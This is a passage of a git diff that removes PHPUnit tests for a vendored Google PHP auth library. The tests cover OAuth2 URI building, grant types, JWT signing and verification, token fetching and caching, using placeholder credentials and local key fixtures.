'http://accounts.test.org/insecure/url', - 'redirectUri' => '/redirect/url', - 'clientId' => 'aClientID', - ]); - $o->buildFullAuthorizationUri(); - } - - /** - * @expectedException DomainException - * @expectedExceptionMessage one of scope or aud should not be null - */ - public function testAudOrScopeIsRequiredForJwt() - { - $o = new OAuth2([]); - $o->setSigningKey('a key'); - $o->setSigningAlgorithm('RS256'); - $o->setIssuer('an issuer'); - $o->toJwt(); - } - - public function testHasDefaultXXXTypeParams() - { - $o = new OAuth2($this->minimal); - $q = Query::parse($o->buildFullAuthorizationUri()->getQuery()); - $this->assertEquals('code', $q['response_type']); - $this->assertEquals('offline', $q['access_type']); - } - - public function testCanBeUrlObject() - { - $config = array_merge($this->minimal, [ - 'authorizationUri' => Utils::uriFor('https://another/uri'), - ]); - $o = new OAuth2($config); - $this->assertEquals('/uri', $o->buildFullAuthorizationUri()->getPath()); - } - - public function testCanOverrideParams() - { - $overrides = [ - 'access_type' => 'o_access_type', - 'client_id' => 'o_client_id', - 'redirect_uri' => 'o_redirect_uri', - 'response_type' => 'o_response_type', - 'state' => 'o_state', - ]; - $config = array_merge($this->minimal, ['state' => 'the_state']); - $o = new OAuth2($config); - $q = Query::parse($o->buildFullAuthorizationUri($overrides)->getQuery()); - $this->assertEquals('o_access_type', $q['access_type']); - $this->assertEquals('o_client_id', $q['client_id']); - $this->assertEquals('o_redirect_uri', $q['redirect_uri']); - $this->assertEquals('o_response_type', $q['response_type']); - $this->assertEquals('o_state', $q['state']); - } - - public function testIncludesTheScope() - { - $with_strings = array_merge($this->minimal, ['scope' => 'scope1 scope2']); - $o = new OAuth2($with_strings); - $q = Query::parse($o->buildFullAuthorizationUri()->getQuery()); - $this->assertEquals('scope1 scope2', $q['scope']); - - $with_array = array_merge($this->minimal, [ - 'scope' => ['scope1', 'scope2'], - ]); - $o = new OAuth2($with_array); - $q = Query::parse($o->buildFullAuthorizationUri()->getQuery()); - $this->assertEquals('scope1 scope2', $q['scope']); - } - - public function testRedirectUriPostmessageIsAllowed() - { - $o = new OAuth2([ - 'authorizationUri' => 'https://accounts.test.org/insecure/url', - 'redirectUri' => 'postmessage', - 'clientId' => 'aClientID', - ]); - $this->assertEquals('postmessage', $o->getRedirectUri()); - $url = $o->buildFullAuthorizationUri(); - $parts = parse_url((string)$url); - parse_str($parts['query'], $query); - $this->assertArrayHasKey('redirect_uri', $query); - $this->assertEquals('postmessage', $query['redirect_uri']); - } -} - -class OAuth2GrantTypeTest extends TestCase -{ - private $minimal = [ - 'authorizationUri' => 'https://accounts.test.org/insecure/url', - 'redirectUri' => 'https://accounts.test.org/redirect/url', - 'clientId' => 'aClientID', - ]; - - public function testReturnsNullIfCannotBeInferred() - { - $o = new OAuth2($this->minimal); - $this->assertNull($o->getGrantType()); - } - - public function testInfersAuthorizationCode() - { - $o = new OAuth2($this->minimal); - $o->setCode('an auth code'); - $this->assertEquals('authorization_code', $o->getGrantType()); - } - - public function testInfersRefreshToken() - { - $o = new OAuth2($this->minimal); - $o->setRefreshToken('a refresh token'); - $this->assertEquals('refresh_token', $o->getGrantType()); - } - - public function testInfersPassword() - { - $o = new OAuth2($this->minimal); - $o->setPassword('a password'); - $o->setUsername('a username'); - $this->assertEquals('password', $o->getGrantType()); - } - - public function testInfersJwtBearer() - { - $o = new OAuth2($this->minimal); - $o->setIssuer('an issuer'); - $o->setSigningKey('a key'); - $this->assertEquals( - 'urn:ietf:params:oauth:grant-type:jwt-bearer', - $o->getGrantType() - ); - } - - public function testSetsKnownTypes() - { - $o = new OAuth2($this->minimal); - foreach (OAuth2::$knownGrantTypes as $t) { - $o->setGrantType($t); - $this->assertEquals($t, $o->getGrantType()); - } - } - - public function testSetsUrlAsGrantType() - { - $o = new OAuth2($this->minimal); - $o->setGrantType('http://a/grant/url'); - $this->assertEquals('http://a/grant/url', $o->getGrantType()); - } -} - -class OAuth2GetCacheKeyTest extends TestCase -{ - private $minimal = [ - 'clientID' => 'aClientID', - ]; - - public function testIsNullWithNoScopesOrAudience() - { - $o = new OAuth2($this->minimal); - $this->assertNull($o->getCacheKey()); - } - - public function testIsScopeIfSingleScope() - { - $o = new OAuth2($this->minimal); - $o->setScope('test/scope/1'); - $this->assertEquals('test/scope/1', $o->getCacheKey()); - } - - public function testIsAllScopesWhenScopeIsArray() - { - $o = new OAuth2($this->minimal); - $o->setScope(['test/scope/1', 'test/scope/2']); - $this->assertEquals('test/scope/1:test/scope/2', $o->getCacheKey()); - } - - public function testIsAudienceWhenScopeIsNull() - { - $aud = 'https://drive.googleapis.com'; - $o = new OAuth2($this->minimal); - $o->setAudience($aud); - $this->assertEquals($aud, $o->getCacheKey()); - } -} - -class OAuth2TimingTest extends TestCase -{ - private $minimal = [ - 'authorizationUri' => 'https://accounts.test.org/insecure/url', - 'redirectUri' => 'https://accounts.test.org/redirect/url', - 'clientId' => 'aClientID', - ]; - - public function testIssuedAtDefaultsToNull() - { - $o = new OAuth2($this->minimal); - $this->assertNull($o->getIssuedAt()); - } - - public function testExpiresAtDefaultsToNull() - { - $o = new OAuth2($this->minimal); - $this->assertNull($o->getExpiresAt()); - } - - public function testExpiresInDefaultsToNull() - { - $o = new OAuth2($this->minimal); - $this->assertNull($o->getExpiresIn()); - } - - public function testSettingExpiresInSetsIssuedAt() - { - $o = new OAuth2($this->minimal); - $this->assertNull($o->getIssuedAt()); - $aShortWhile = 5; - $o->setExpiresIn($aShortWhile); - $this->assertEquals($aShortWhile, $o->getExpiresIn()); - $this->assertNotNull($o->getIssuedAt()); - } - - public function testSettingExpiresInSetsExpireAt() - { - $o = new OAuth2($this->minimal); - $this->assertNull($o->getExpiresAt()); - $aShortWhile = 5; - $o->setExpiresIn($aShortWhile); - $this->assertNotNull($o->getExpiresAt()); - $this->assertEquals($aShortWhile, $o->getExpiresAt() - $o->getIssuedAt()); - } - - public function testIsNotExpiredByDefault() - { - $o = new OAuth2($this->minimal); - $this->assertFalse($o->isExpired()); - } - - public function testIsNotExpiredIfExpiresAtIsOld() - { - $o = new OAuth2($this->minimal); - $o->setExpiresAt(time() - 2); - $this->assertTrue($o->isExpired()); - } -} - -class OAuth2GeneralTest extends TestCase -{ - private $minimal = [ - 'authorizationUri' => 'https://accounts.test.org/insecure/url', - 'redirectUri' => 'https://accounts.test.org/redirect/url', - 'clientId' => 'aClientID', - ]; - - /** - * @expectedException InvalidArgumentException - */ - public function testFailsOnUnknownSigningAlgorithm() - { - $o = new OAuth2($this->minimal); - $o->setSigningAlgorithm('this is definitely not an algorithm name'); - } - - public function testAllowsKnownSigningAlgorithms() - { - $o = new OAuth2($this->minimal); - foreach (OAuth2::$knownSigningAlgorithms as $a) { - $o->setSigningAlgorithm($a); - $this->assertEquals($a, $o->getSigningAlgorithm()); - } - } - - /** - * @expectedException InvalidArgumentException - */ - public function testFailsOnRelativeRedirectUri() - { - $o = new OAuth2($this->minimal); - $o->setRedirectUri('/relative/url'); - } - - public function testAllowsUrnRedirectUri() - { - $urn = 'urn:ietf:wg:oauth:2.0:oob'; - $o = new OAuth2($this->minimal); - $o->setRedirectUri($urn); - $this->assertEquals($urn, $o->getRedirectUri()); - } -} - -class OAuth2JwtTest extends TestCase -{ - private $signingMinimal = [ - 'signingKey' => 'example_key', - 'signingAlgorithm' => 'HS256', - 'scope' => 'https://www.googleapis.com/auth/userinfo.profile', - 'issuer' => 'app@example.com', - 'audience' => 'accounts.google.com', - 'clientId' => 'aClientID', - ]; - - /** - * @expectedException DomainException - */ - public function testFailsWithMissingAudience() - { - $testConfig = $this->signingMinimal; - unset($testConfig['audience']); - unset($testConfig['scope']); - $o = new OAuth2($testConfig); - $o->toJwt(); - } - - /** - * @expectedException DomainException - */ - public function testFailsWithMissingIssuer() - { - $testConfig = $this->signingMinimal; - unset($testConfig['issuer']); - $o = new OAuth2($testConfig); - $o->toJwt(); - } - - /** - */ - public function testCanHaveNoScope() - { - $testConfig = $this->signingMinimal; - unset($testConfig['scope']); - $o = new OAuth2($testConfig); - $o->toJwt(); - } - - /** - * @expectedException DomainException - */ - public function testFailsWithMissingSigningKey() - { - $testConfig = $this->signingMinimal; - unset($testConfig['signingKey']); - $o = new OAuth2($testConfig); - $o->toJwt(); - } - - /** - * @expectedException DomainException - */ - public function testFailsWithMissingSigningAlgorithm() - { - $testConfig = $this->signingMinimal; - unset($testConfig['signingAlgorithm']); - $o = new OAuth2($testConfig); - $o->toJwt(); - } - - public function testCanHS256EncodeAValidPayloadWithSigningKeyId() - { - $testConfig = $this->signingMinimal; - $keys = array( - 'example_key_id1' => 'example_key1', - 'example_key_id2' => 'example_key2' - ); - $testConfig['signingKey'] = $keys['example_key_id2']; - $testConfig['signingKeyId'] = 'example_key_id2'; - $o = new OAuth2($testConfig); - $payload = $o->toJwt(); - $roundTrip = $this->jwtDecode($payload, $keys, array('HS256')); - $this->assertEquals($roundTrip->iss, $testConfig['issuer']); - $this->assertEquals($roundTrip->aud, $testConfig['audience']); - $this->assertEquals($roundTrip->scope, $testConfig['scope']); - } - - public function testFailDecodeWithoutSigningKeyId() - { - $testConfig = $this->signingMinimal; - $keys = array( - 'example_key_id1' => 'example_key1', - 'example_key_id2' => 'example_key2' - ); - $testConfig['signingKey'] = $keys['example_key_id2']; - $o = new OAuth2($testConfig); - $payload = $o->toJwt(); - - try { - $this->jwtDecode($payload, $keys, array('HS256')); - } catch (\Exception $e) { - if (($e instanceof \DomainException || $e instanceof \UnexpectedValueException) && - $e->getMessage() === '"kid" empty, unable to lookup correct key') { - // Workaround: In old JWT versions throws DomainException - return; - } - throw $e; - } - $this->fail("Expected exception about problem with decode"); - } - - public function testCanHS256EncodeAValidPayload() - { - $testConfig = $this->signingMinimal; - $o = new OAuth2($testConfig); - $payload = $o->toJwt(); - $roundTrip = $this->jwtDecode($payload, $testConfig['signingKey'], array('HS256')); - $this->assertEquals($roundTrip->iss, $testConfig['issuer']); - $this->assertEquals($roundTrip->aud, $testConfig['audience']); - $this->assertEquals($roundTrip->scope, $testConfig['scope']); - } - - public function testCanRS256EncodeAValidPayload() - { - $publicKey = file_get_contents(__DIR__ . '/fixtures' . '/public.pem'); - $privateKey = file_get_contents(__DIR__ . '/fixtures' . '/private.pem'); - $testConfig = $this->signingMinimal; - $o = new OAuth2($testConfig); - $o->setSigningAlgorithm('RS256'); - $o->setSigningKey($privateKey); - $payload = $o->toJwt(); - $roundTrip = $this->jwtDecode($payload, $publicKey, array('RS256')); - $this->assertEquals($roundTrip->iss, $testConfig['issuer']); - $this->assertEquals($roundTrip->aud, $testConfig['audience']); - $this->assertEquals($roundTrip->scope, $testConfig['scope']); - } - - public function testCanHaveAdditionalClaims() - { - $publicKey = file_get_contents(__DIR__ . '/fixtures' . '/public.pem'); - $privateKey = file_get_contents(__DIR__ . '/fixtures' . '/private.pem'); - $testConfig = $this->signingMinimal; - $targetAud = '123@456.com'; - $testConfig['additionalClaims'] = ['target_audience' => $targetAud]; - $o = new OAuth2($testConfig); - $o->setSigningAlgorithm('RS256'); - $o->setSigningKey($privateKey); - $payload = $o->toJwt(); - $roundTrip = $this->jwtDecode($payload, $publicKey, array('RS256')); - $this->assertEquals($roundTrip->target_audience, $targetAud); - } - - private function jwtDecode() - { - $args = func_get_args(); - $class = 'JWT'; - if (class_exists('Firebase\JWT\JWT')) { - $class = 'Firebase\JWT\JWT'; - } - - return call_user_func_array("$class::decode", $args); - } -} - -class OAuth2GenerateAccessTokenRequestTest extends TestCase -{ - private $tokenRequestMinimal = [ - 'tokenCredentialUri' => 'https://tokens_r_us/test', - 'scope' => 'https://www.googleapis.com/auth/userinfo.profile', - 'issuer' => 'app@example.com', - 'audience' => 'accounts.google.com', - 'clientId' => 'aClientID', - ]; - - /** - * @expectedException DomainException - */ - public function testFailsIfNoTokenCredentialUri() - { - $testConfig = $this->tokenRequestMinimal; - unset($testConfig['tokenCredentialUri']); - $o = new OAuth2($testConfig); - $o->generateCredentialsRequest(); - } - - /** - * @expectedException DomainException - */ - public function testFailsIfAuthorizationCodeIsMissing() - { - $testConfig = $this->tokenRequestMinimal; - $testConfig['redirectUri'] = 'https://has/redirect/uri'; - $o = new OAuth2($testConfig); - $o->generateCredentialsRequest(); - } - - public function testGeneratesAuthorizationCodeRequests() - { - $testConfig = $this->tokenRequestMinimal; - $testConfig['redirectUri'] = 'https://has/redirect/uri'; - $o = new OAuth2($testConfig); - $o->setCode('an_auth_code'); - - // Generate the request and confirm that it's correct. - $req = $o->generateCredentialsRequest(); - $this->assertInstanceOf('Psr\Http\Message\RequestInterface', $req); - $this->assertEquals('POST', $req->getMethod()); - $fields = Query::parse((string)$req->getBody()); - $this->assertEquals('authorization_code', $fields['grant_type']); - $this->assertEquals('an_auth_code', $fields['code']); - } - - public function testGeneratesPasswordRequests() - { - $testConfig = $this->tokenRequestMinimal; - $o = new OAuth2($testConfig); - $o->setUsername('a_username'); - $o->setPassword('a_password'); - - // Generate the request and confirm that it's correct. - $req = $o->generateCredentialsRequest(); - $this->assertInstanceOf('Psr\Http\Message\RequestInterface', $req); - $this->assertEquals('POST', $req->getMethod()); - $fields = Query::parse((string)$req->getBody()); - $this->assertEquals('password', $fields['grant_type']); - $this->assertEquals('a_password', $fields['password']); - $this->assertEquals('a_username', $fields['username']); - } - - public function testGeneratesRefreshTokenRequests() - { - $testConfig = $this->tokenRequestMinimal; - $o = new OAuth2($testConfig); - $o->setRefreshToken('a_refresh_token'); - - // Generate the request and confirm that it's correct. - $req = $o->generateCredentialsRequest(); - $this->assertInstanceOf('Psr\Http\Message\RequestInterface', $req); - $this->assertEquals('POST', $req->getMethod()); - $fields = Query::parse((string)$req->getBody()); - $this->assertEquals('refresh_token', $fields['grant_type']); - $this->assertEquals('a_refresh_token', $fields['refresh_token']); - } - - public function testClientSecretAddedIfSetForAuthorizationCodeRequests() - { - $testConfig = $this->tokenRequestMinimal; - $testConfig['clientSecret'] = 'a_client_secret'; - $testConfig['redirectUri'] = 'https://has/redirect/uri'; - $o = new OAuth2($testConfig); - $o->setCode('an_auth_code'); - $request = $o->generateCredentialsRequest(); - $fields = Query::parse((string)$request->getBody()); - $this->assertEquals('a_client_secret', $fields['client_secret']); - } - - public function testClientSecretAddedIfSetForRefreshTokenRequests() - { - $testConfig = $this->tokenRequestMinimal; - $testConfig['clientSecret'] = 'a_client_secret'; - $o = new OAuth2($testConfig); - $o->setRefreshToken('a_refresh_token'); - $request = $o->generateCredentialsRequest(); - $fields = Query::parse((string)$request->getBody()); - $this->assertEquals('a_client_secret', $fields['client_secret']); - } - - public function testClientSecretAddedIfSetForPasswordRequests() - { - $testConfig = $this->tokenRequestMinimal; - $testConfig['clientSecret'] = 'a_client_secret'; - $o = new OAuth2($testConfig); - $o->setUsername('a_username'); - $o->setPassword('a_password'); - $request = $o->generateCredentialsRequest(); - $fields = Query::parse((string)$request->getBody()); - $this->assertEquals('a_client_secret', $fields['client_secret']); - } - - public function testGeneratesAssertionRequests() - { - $testConfig = $this->tokenRequestMinimal; - $o = new OAuth2($testConfig); - $o->setSigningKey('a_key'); - $o->setSigningAlgorithm('HS256'); - - // Generate the request and confirm that it's correct. - $req = $o->generateCredentialsRequest(); - $this->assertInstanceOf('Psr\Http\Message\RequestInterface', $req); - $this->assertEquals('POST', $req->getMethod()); - $fields = Query::parse((string)$req->getBody()); - $this->assertEquals(OAuth2::JWT_URN, $fields['grant_type']); - $this->assertArrayHasKey('assertion', $fields); - } - - public function testGeneratesExtendedRequests() - { - $testConfig = $this->tokenRequestMinimal; - $o = new OAuth2($testConfig); - $o->setGrantType('urn:my_test_grant_type'); - $o->setExtensionParams(['my_param' => 'my_value']); - - // Generate the request and confirm that it's correct. - $req = $o->generateCredentialsRequest(); - $this->assertInstanceOf('Psr\Http\Message\RequestInterface', $req); - $this->assertEquals('POST', $req->getMethod()); - $fields = Query::parse((string)$req->getBody()); - $this->assertEquals('my_value', $fields['my_param']); - $this->assertEquals('urn:my_test_grant_type', $fields['grant_type']); - } -} - -class OAuth2FetchAuthTokenTest extends TestCase -{ - private $fetchAuthTokenMinimal = [ - 'tokenCredentialUri' => 'https://tokens_r_us/test', - 'scope' => 'https://www.googleapis.com/auth/userinfo.profile', - 'signingKey' => 'example_key', - 'signingAlgorithm' => 'HS256', - 'issuer' => 'app@example.com', - 'audience' => 'accounts.google.com', - 'clientId' => 'aClientID', - ]; - - /** - * @expectedException GuzzleHttp\Exception\ClientException - */ - public function testFailsOn400() - { - $testConfig = $this->fetchAuthTokenMinimal; - $httpHandler = getHandler([ - buildResponse(400), - ]); - $o = new OAuth2($testConfig); - $o->fetchAuthToken($httpHandler); - } - - /** - * @expectedException GuzzleHttp\Exception\ServerException - */ - public function testFailsOn500() - { - $testConfig = $this->fetchAuthTokenMinimal; - $httpHandler = getHandler([ - buildResponse(500), - ]); - $o = new OAuth2($testConfig); - $o->fetchAuthToken($httpHandler); - } - - /** - * @expectedException Exception - * @expectedExceptionMessage Invalid JSON response - */ - public function testFailsOnNoContentTypeIfResponseIsNotJSON() - { - $testConfig = $this->fetchAuthTokenMinimal; - $notJson = '{"foo": , this is cannot be passed as json" "bar"}'; - $httpHandler = getHandler([ - buildResponse(200, [], Utils::streamFor($notJson)), - ]); - $o = new OAuth2($testConfig); - $o->fetchAuthToken($httpHandler); - } - - public function testFetchesJsonResponseOnNoContentTypeOK() - { - $testConfig = $this->fetchAuthTokenMinimal; - $json = '{"foo": "bar"}'; - $httpHandler = getHandler([ - buildResponse(200, [], Utils::streamFor($json)), - ]); - $o = new OAuth2($testConfig); - $tokens = $o->fetchAuthToken($httpHandler); - $this->assertEquals($tokens['foo'], 'bar'); - } - - public function testFetchesFromFormEncodedResponseOK() - { - $testConfig = $this->fetchAuthTokenMinimal; - $json = 'foo=bar&spice=nice'; - $httpHandler = getHandler([ - buildResponse( - 200, - ['Content-Type' => 'application/x-www-form-urlencoded'], - Utils::streamFor($json) - ), - ]); - $o = new OAuth2($testConfig); - $tokens = $o->fetchAuthToken($httpHandler); - $this->assertEquals($tokens['foo'], 'bar'); - $this->assertEquals($tokens['spice'], 'nice'); - } - - public function testUpdatesTokenFieldsOnFetch() - { - $testConfig = $this->fetchAuthTokenMinimal; - $wanted_updates = [ - 'expires_at' => '1', - 'expires_in' => '57', - 'issued_at' => '2', - 'access_token' => 'an_access_token', - 'id_token' => 'an_id_token', - 'refresh_token' => 'a_refresh_token', - ]; - $json = json_encode($wanted_updates); - $httpHandler = getHandler([ - buildResponse(200, [], Utils::streamFor($json)), - ]); - $o = new OAuth2($testConfig); - $this->assertNull($o->getExpiresAt()); - $this->assertNull($o->getExpiresIn()); - $this->assertNull($o->getIssuedAt()); - $this->assertNull($o->getAccessToken()); - $this->assertNull($o->getIdToken()); - $this->assertNull($o->getRefreshToken()); - $tokens = $o->fetchAuthToken($httpHandler); - $this->assertEquals(1, $o->getExpiresAt()); - $this->assertEquals(57, $o->getExpiresIn()); - $this->assertEquals(2, $o->getIssuedAt()); - $this->assertEquals('an_access_token', $o->getAccessToken()); - $this->assertEquals('an_id_token', $o->getIdToken()); - $this->assertEquals('a_refresh_token', $o->getRefreshToken()); - } - - public function testUpdatesTokenFieldsOnFetchMissingRefreshToken() - { - $testConfig = $this->fetchAuthTokenMinimal; - $testConfig['refresh_token'] = 'a_refresh_token'; - $wanted_updates = [ - 'expires_at' => '1', - 'expires_in' => '57', - 'issued_at' => '2', - 'access_token' => 'an_access_token', - 'id_token' => 'an_id_token', - ]; - $json = json_encode($wanted_updates); - $httpHandler = getHandler([ - buildResponse(200, [], Utils::streamFor($json)), - ]); - $o = new OAuth2($testConfig); - $this->assertNull($o->getExpiresAt()); - $this->assertNull($o->getExpiresIn()); - $this->assertNull($o->getIssuedAt()); - $this->assertNull($o->getAccessToken()); - $this->assertNull($o->getIdToken()); - $this->assertEquals('a_refresh_token', $o->getRefreshToken()); - $tokens = $o->fetchAuthToken($httpHandler); - $this->assertEquals(1, $o->getExpiresAt()); - $this->assertEquals(57, $o->getExpiresIn()); - $this->assertEquals(2, $o->getIssuedAt()); - $this->assertEquals('an_access_token', $o->getAccessToken()); - $this->assertEquals('an_id_token', $o->getIdToken()); - $this->assertEquals('a_refresh_token', $o->getRefreshToken()); - } - - /** - * @dataProvider provideGetLastReceivedToken - */ - public function testGetLastReceivedToken( - $updateToken, - $expectedToken = null - ) { - $testConfig = $this->fetchAuthTokenMinimal; - $o = new OAuth2($testConfig); - $o->updateToken($updateToken); - $this->assertEquals( - $expectedToken ?: $updateToken, - $o->getLastReceivedToken() - ); - } - - public function provideGetLastReceivedToken() - { - $time = time(); - return [ - [ - ['access_token' => 'abc'], - ['access_token' => 'abc', 'expires_at' => null], - ], - [ - ['access_token' => 'abc', 'invalid-field' => 'foo'], - ['access_token' => 'abc', 'expires_at' => null], - ], - [ - ['access_token' => 'abc', 'expires_at' => 1234567890], - ['access_token' => 'abc', 'expires_at' => 1234567890], - ], - [ - ['id_token' => 'def'], - ['id_token' => 'def', 'expires_at' => null], - ], - [ - ['id_token' => 'def', 'expires_at' => 1234567890], - ['id_token' => 'def', 'expires_at' => 1234567890], - ], - [ - [ - 'access_token' => 'abc', - 'expires_in' => 3600, - 'issued_at' => $time - ], - [ - 'access_token' => 'abc', - 'expires_at' => $time + 3600, - 'expires_in' => 3600, - 'issued_at' => $time - ], - ], - [ - ['access_token' => 'abc', 'issued_at' => 1234567890], - [ - 'access_token' => 'abc', - 'expires_at' => null, - 'issued_at' => 1234567890 - ], - ], - [ - ['access_token' => 'abc', 'refresh_token' => 'xyz'], - [ - 'access_token' => 'abc', - 'expires_at' => null, - 'refresh_token' => 'xyz' - ], - ], - ]; - } -} - -class OAuth2VerifyIdTokenTest extends TestCase -{ - private $publicKey; - private $privateKey; - private $verifyIdTokenMinimal = [ - 'scope' => 'https://www.googleapis.com/auth/userinfo.profile', - 'audience' => 'myaccount.on.host.issuer.com', - 'issuer' => 'an.issuer.com', - 'clientId' => 'myaccount.on.host.issuer.com', - ]; - - public function setUp() - { - $this->publicKey = - file_get_contents(__DIR__ . '/fixtures' . '/public.pem'); - $this->privateKey = - file_get_contents(__DIR__ . '/fixtures' . '/private.pem'); - } - - /** - * @expectedException UnexpectedValueException - */ - public function testFailsIfIdTokenIsInvalid() - { - $testConfig = $this->verifyIdTokenMinimal; - $not_a_jwt = 'not a jot'; - $o = new OAuth2($testConfig); - $o->setIdToken($not_a_jwt); - $o->verifyIdToken($this->publicKey); - } - - /** - * @expectedException DomainException - */ - public function testFailsIfAudienceIsMissing() - { - $testConfig = $this->verifyIdTokenMinimal; - $now = time(); - $origIdToken = [ - 'issuer' => $testConfig['issuer'], - 'exp' => $now + 65, // arbitrary - 'iat' => $now, - ]; - $o = new OAuth2($testConfig); - $jwtIdToken = $this->jwtEncode($origIdToken, $this->privateKey, 'RS256'); - $o->setIdToken($jwtIdToken); - $o->verifyIdToken($this->publicKey, ['RS256']); - } - - /** - * @expectedException DomainException - */ - public function testFailsIfAudienceIsWrong() - { - $now = time(); - $testConfig = $this->verifyIdTokenMinimal; - $origIdToken = [ - 'aud' => 'a different audience', - 'iss' => $testConfig['issuer'], - 'exp' => $now + 65, // arbitrary - 'iat' => $now, - ]; - $o = new OAuth2($testConfig); - $jwtIdToken = $this->jwtEncode($origIdToken, $this->privateKey, 'RS256'); - $o->setIdToken($jwtIdToken); - $o->verifyIdToken($this->publicKey, ['RS256']); - } - - public function testShouldReturnAValidIdToken() - { - $testConfig = $this->verifyIdTokenMinimal; - $now = time(); - $origIdToken = [ - 'aud' => $testConfig['audience'], - 'iss' => $testConfig['issuer'], - 'exp' => $now + 65, // arbitrary - 'iat' => $now, - ]; - $o = new OAuth2($testConfig); - $alg = 'RS256'; - $jwtIdToken = $this->jwtEncode($origIdToken, $this->privateKey, $alg); - $o->setIdToken($jwtIdToken); - $roundTrip = $o->verifyIdToken($this->publicKey, array($alg)); - $this->assertEquals($origIdToken['aud'], $roundTrip->aud); - } - - private function jwtEncode() - { - $args = func_get_args(); - $class = 'JWT'; - if (class_exists('Firebase\JWT\JWT')) { - $class = 'Firebase\JWT\JWT'; - } - - return call_user_func_array("$class::encode", $args); - } -} diff --git a/vendor/google/auth/tests/ServiceAccountSignerTraitTest.php b/vendor/google/auth/tests/ServiceAccountSignerTraitTest.php deleted file mode 100644 index ad16b29de4..0000000000 --- a/vendor/google/auth/tests/ServiceAccountSignerTraitTest.php +++ /dev/null @@ -1,74 +0,0 @@ -signBlob(self::STRING_TO_SIGN, $useOpenSsl); - - $this->assertEquals(implode('', $this->signedString), $res); - } - - public function useOpenSsl() - { - return [[true], [false]]; - } -} - -class ServiceAccountSignerTraitImpl -{ - use ServiceAccountSignerTrait; - - private $auth; - - public function __construct($signingKey) - { - $this->auth = new AuthStub(); - $this->auth->signingKey = $signingKey; - } -} - -class AuthStub -{ - public $signingKey; - - public function getSigningKey() - { - return $this->signingKey; - } -} diff --git a/vendor/google/auth/tests/Subscriber/AuthTokenSubscriberTest.php b/vendor/google/auth/tests/Subscriber/AuthTokenSubscriberTest.php deleted file mode 100644 index 58cfb924a4..0000000000 --- a/vendor/google/auth/tests/Subscriber/AuthTokenSubscriberTest.php +++ /dev/null @@ -1,335 +0,0 @@ -onlyGuzzle5(); - - $this->mockFetcher = $this->prophesize('Google\Auth\FetchAuthTokenInterface'); - $this->mockCacheItem = $this->prophesize('Psr\Cache\CacheItemInterface'); - $this->mockCache = $this->prophesize('Psr\Cache\CacheItemPoolInterface'); - } - - public function testSubscribesToEvents() - { - $a = new AuthTokenSubscriber($this->mockFetcher->reveal()); - $this->assertArrayHasKey('before', $a->getEvents()); - } - - public function testOnlyTouchesWhenAuthConfigScoped() - { - $s = new AuthTokenSubscriber($this->mockFetcher->reveal()); - $client = new Client(); - $request = $client->createRequest( - 'GET', - 'http://testing.org', - ['auth' => 'not_google_auth'] - ); - $before = new BeforeEvent(new Transaction($client, $request)); - $s->onBefore($before); - $this->assertSame($request->getHeader('authorization'), ''); - } - - public function testAddsTheTokenAsAnAuthorizationHeader() - { - $authResult = ['access_token' => '1/abcdef1234567890']; - $this->mockFetcher->fetchAuthToken(Argument::any()) - ->shouldBeCalledTimes(1) - ->willReturn($authResult); - - // Run the test. - $a = new AuthTokenSubscriber($this->mockFetcher->reveal()); - $client = new Client(); - $request = $client->createRequest( - 'GET', - 'http://testing.org', - ['auth' => 'google_auth'] - ); - $before = new BeforeEvent(new Transaction($client, $request)); - $a->onBefore($before); - $this->assertSame( - $request->getHeader('authorization'), - 'Bearer 1/abcdef1234567890' - ); - } - - public function testDoesNotAddAnAuthorizationHeaderOnNoAccessToken() - { - $authResult = ['not_access_token' => '1/abcdef1234567890']; - $this->mockFetcher->fetchAuthToken(Argument::any()) - ->shouldBeCalledTimes(1) - ->willReturn($authResult); - - // Run the test. - $a = new AuthTokenSubscriber($this->mockFetcher->reveal()); - $client = new Client(); - $request = $client->createRequest( - 'GET', - 'http://testing.org', - ['auth' => 'google_auth'] - ); - $before = new BeforeEvent(new Transaction($client, $request)); - $a->onBefore($before); - $this->assertSame($request->getHeader('authorization'), ''); - } - - public function testUsesCachedAuthToken() - { - $cacheKey = 'myKey'; - $token = '2/abcdef1234567890'; - $cachedValue = ['access_token' => $token]; - $this->mockCacheItem->isHit() - ->shouldBeCalledTimes(1) - ->willReturn(true); - $this->mockCacheItem->get() - ->shouldBeCalledTimes(1) - ->willReturn($cachedValue); - $this->mockCache->getItem($cacheKey) - ->shouldBeCalledTimes(1) - ->willReturn($this->mockCacheItem->reveal()); - $this->mockFetcher->fetchAuthToken() - ->shouldNotBeCalled(); - $this->mockFetcher->getCacheKey() - ->willReturn($cacheKey); - - // Run the test. - $cachedFetcher = new FetchAuthTokenCache( - $this->mockFetcher->reveal(), - null, - $this->mockCache->reveal() - ); - $a = new AuthTokenSubscriber($cachedFetcher); - $client = new Client(); - $request = $client->createRequest( - 'GET', - 'http://testing.org', - ['auth' => 'google_auth'] - ); - $before = new BeforeEvent(new Transaction($client, $request)); - $a->onBefore($before); - $this->assertSame( - $request->getHeader('authorization'), - 'Bearer ' . $token - ); - } - - public function testGetsCachedAuthTokenUsingCachePrefix() - { - $prefix = 'test_prefix_'; - $cacheKey = 'myKey'; - $token = '2/abcdef1234567890'; - $cachedValue = ['access_token' => $token]; - $this->mockCacheItem->isHit() - ->shouldBeCalledTimes(1) - ->willReturn(true); - $this->mockCacheItem->get() - ->shouldBeCalledTimes(1) - ->willReturn($cachedValue); - $this->mockCache->getItem($prefix . $cacheKey) - ->shouldBeCalledTimes(1) - ->willReturn($this->mockCacheItem->reveal()); - $this->mockFetcher->fetchAuthToken() - ->shouldNotBeCalled(); - $this->mockFetcher->getCacheKey() - ->willReturn($cacheKey); - - // Run the test - $cachedFetcher = new FetchAuthTokenCache( - $this->mockFetcher->reveal(), - ['prefix' => $prefix], - $this->mockCache->reveal() - ); - $a = new AuthTokenSubscriber($cachedFetcher); - $client = new Client(); - $request = $client->createRequest( - 'GET', - 'http://testing.org', - ['auth' => 'google_auth'] - ); - $before = new BeforeEvent(new Transaction($client, $request)); - $a->onBefore($before); - $this->assertSame( - $request->getHeader('authorization'), - 'Bearer ' . $token - ); - } - - public function testShouldSaveValueInCacheWithCacheOptions() - { - $prefix = 'test_prefix_'; - $lifetime = '70707'; - $cacheKey = 'myKey'; - $token = '2/abcdef1234567890'; - $cachedValue = ['access_token' => $token]; - $this->mockCacheItem->get() - ->willReturn(null); - $this->mockCacheItem->set($cachedValue) - ->shouldBeCalledTimes(1) - ->willReturn(false); - $this->mockCacheItem->isHit() - ->willReturn(false); - $this->mockCacheItem->expiresAfter($lifetime) - ->shouldBeCalledTimes(1); - $this->mockCache->getItem($prefix . $cacheKey) - ->shouldBeCalledTimes(2) - 